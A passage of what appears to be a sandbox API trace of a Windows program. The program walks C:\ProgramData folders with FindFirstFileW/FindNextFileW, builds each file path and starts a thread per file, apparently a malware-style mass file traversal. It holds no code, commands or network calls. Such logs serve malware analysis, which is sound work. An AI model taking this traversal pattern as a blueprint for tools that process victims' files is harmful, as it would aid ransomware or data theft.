lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_PRM.14.1033.hxn", cAlternateFileName="MSE1C9~1.HXN")) returned 1 [0051.432] wcscmp (_String1="MS.VISIO_PRM.14.1033.hxn", _String2=".") returned 1 [0051.432] wcscmp (_String1="MS.VISIO_PRM.14.1033.hxn", _String2="..") returned 1 [0051.432] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed59b8 [0051.432] wcscpy (in: _Dest=0x5ed59b8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.432] wcscat (in: _Dest=0x5ed59b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.432] wcscat (in: _Dest=0x5ed59b8, _Source="MS.VISIO_PRM.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" [0051.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed59b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254 [0051.434] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_STD.14.1033.hxn", cAlternateFileName="MSVISI~2.HXN")) returned 1 [0051.434] wcscmp (_String1="MS.VISIO_STD.14.1033.hxn", _String2=".") returned 1 [0051.434] wcscmp (_String1="MS.VISIO_STD.14.1033.hxn", _String2="..") returned 1 [0051.434] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed5a30 [0051.434] wcscpy (in: _Dest=0x5ed5a30, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.434] wcscat (in: _Dest=0x5ed5a30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.434] wcscat (in: _Dest=0x5ed5a30, _Source="MS.VISIO_STD.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" [0051.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0051.435] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.14.1033.hxn", cAlternateFileName="MSWINP~1.HXN")) returned 1 [0051.435] wcscmp (_String1="MS.WINPROJ.14.1033.hxn", _String2=".") returned 1 [0051.435] wcscmp (_String1="MS.WINPROJ.14.1033.hxn", _String2="..") returned 1 [0051.435] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5ed5aa8 [0051.435] wcscpy (in: _Dest=0x5ed5aa8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.435] wcscat (in: _Dest=0x5ed5aa8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.435] wcscat (in: _Dest=0x5ed5aa8, _Source="MS.WINPROJ.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" [0051.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5aa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c [0051.682] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.DEV.14.1033.hxn", cAlternateFileName="MSWINP~2.HXN")) returned 1 [0051.682] wcscmp (_String1="MS.WINPROJ.DEV.14.1033.hxn", _String2=".") returned 1 [0051.682] wcscmp (_String1="MS.WINPROJ.DEV.14.1033.hxn", _String2="..") returned 1 [0051.682] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08b18 [0051.682] wcscpy (in: _Dest=0x12e08b18, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.682] wcscat (in: _Dest=0x12e08b18, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.682] wcscat (in: _Dest=0x12e08b18, _Source="MS.WINPROJ.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" [0057.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228 [0057.823] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.14.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1 [0057.823] wcscmp (_String1="MS.WINWORD.14.1033.hxn", _String2=".") returned 1 [0057.823] wcscmp (_String1="MS.WINWORD.14.1033.hxn", _String2="..") returned 1 [0057.823] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x4ef108 [0057.823] wcscpy (in: _Dest=0x4ef108, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0057.823] wcscat (in: _Dest=0x4ef108, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0057.823] wcscat (in: _Dest=0x4ef108, _Source="MS.WINWORD.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" [0057.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ef108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe54 [0057.824] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.DEV.14.1033.hxn", cAlternateFileName="MSWINW~2.HXN")) returned 1 [0057.824] wcscmp (_String1="MS.WINWORD.DEV.14.1033.hxn", _String2=".") returned 1 [0057.824] wcscmp (_String1="MS.WINWORD.DEV.14.1033.hxn", _String2="..") returned 1 [0057.824] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x45e538 [0057.824] wcscpy (in: _Dest=0x45e538, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0057.824] wcscat (in: _Dest=0x45e538, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0057.824] wcscat (in: _Dest=0x45e538, _Source="MS.WINWORD.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" [0057.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8 [0057.826] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1 [0057.826] wcscmp (_String1="nslist.hxl", _String2=".") returned 1 [0057.826] wcscmp (_String1="nslist.hxl", _String2="..") returned 1 [0057.826] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a190 [0057.826] wcscpy (in: _Dest=0x44a190, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0057.826] wcscat (in: _Dest=0x44a190, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0057.826] wcscat (in: _Dest=0x44a190, _Source="nslist.hxl" | out: _Dest="C:\\ProgramData\\Microsoft Help\\nslist.hxl") returned="C:\\ProgramData\\Microsoft Help\\nslist.hxl" [0057.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x44a190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe60 [0057.827] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 0 [0057.827] FindClose (in: hFindFile=0x4402e0 | out: hFindFile=0x4402e0) returned 1 [0063.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0063.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4027b0) returned 1 [0063.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402600) returned 1 Thread: id = 98 os_tid = 0xb88 [0045.801] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x30) returned 0x40a790 [0045.801] wcscpy (in: _Dest=0x40a790, _Source="C:\\ProgramData\\Oracle" | out: _Dest="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle" [0045.801] wcscat (in: _Dest=0x40a790, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\") returned="C:\\ProgramData\\Oracle\\" [0045.801] wcscat (in: _Dest=0x40a790, _Source="*" | out: _Dest="C:\\ProgramData\\Oracle\\*") returned="C:\\ProgramData\\Oracle\\*" [0045.801] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x449170 [0045.801] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\*", lpFindFileData=0x449170 | out: lpFindFileData=0x449170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0049.689] wcscmp (_String1=".", _String2=".") returned 0 [0049.689] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x449170 | out: lpFindFileData=0x449170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.689] wcscmp (_String1="..", _String2=".") returned 1 [0049.689] wcscmp (_String1="..", _String2="..") returned 0 [0049.689] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x449170 | out: lpFindFileData=0x449170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.689] FindClose (in: hFindFile=0x409b28 | out: hFindFile=0x409b28) returned 1 [0049.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449170) returned 1 [0049.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a790) returned 1 [0049.695] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a9c0) returned 1 Thread: id = 99 os_tid = 0xb8c [0045.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x4027f8 [0045.802] wcscpy (in: _Dest=0x4027f8, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0045.802] wcscat (in: _Dest=0x4027f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0045.802] wcscat (in: _Dest=0x4027f8, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\*") returned="C:\\ProgramData\\Package Cache\\*" [0045.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x449800 [0045.802] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\*", lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ca8 [0049.791] wcscmp (_String1=".", _String2=".") returned 0 [0049.791] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.198] wcscmp (_String1="..", _String2=".") returned 1 [0051.198] wcscmp (_String1="..", _String2="..") returned 0 [0051.199] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1 [0051.199] wcscmp (_String1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", _String2=".") returned 1 [0051.199] wcscmp (_String1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", _String2="..") returned 1 [0051.199] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4396f0 [0051.199] wcscpy (in: _Dest=0x4396f0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0051.199] wcscat (in: _Dest=0x4396f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0051.199] wcscat (in: _Dest=0x4396f0, _Source="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0066.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4396f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb44 [0066.832] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0066.832] wcscmp (_String1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", _String2=".") returned 1 [0066.832] wcscmp (_String1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", _String2="..") returned 1 [0066.832] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97ac4c0 [0066.832] wcscpy (in: _Dest=0x97ac4c0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.832] wcscat (in: _Dest=0x97ac4c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.832] wcscat (in: _Dest=0x97ac4c0, _Source="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0066.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97ac4c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0066.836] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0066.836] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2=".") returned 1 [0066.836] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2="..") returned 1 [0066.836] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x12cfbb48 [0066.836] wcscpy (in: _Dest=0x12cfbb48, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.836] wcscat (in: _Dest=0x12cfbb48, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.836] wcscat (in: _Dest=0x12cfbb48, _Source="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0066.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfbb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1188 [0066.837] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0066.837] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2=".") returned 1 [0066.837] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2="..") returned 1 [0066.837] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2b7e8 [0066.837] wcscpy (in: _Dest=0x12e2b7e8, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.837] wcscat (in: _Dest=0x12e2b7e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.837] wcscat (in: _Dest=0x12e2b7e8, _Source="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0066.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12e2b7e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a4 [0066.839] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0066.839] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2=".") returned 1 [0066.839] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2="..") returned 1 [0066.839] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x12cfbbf0 [0066.839] wcscpy (in: _Dest=0x12cfbbf0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0066.839] wcscat (in: _Dest=0x12cfbbf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0066.839] wcscat (in: _Dest=0x12cfbbf0, _Source="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0066.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfbbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x117c [0066.840] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x449800 | out: lpFindFileData=0x449800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0066.840] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2=".") returned 1 [0066.840] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2="..") returned 1 [0066.840] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, 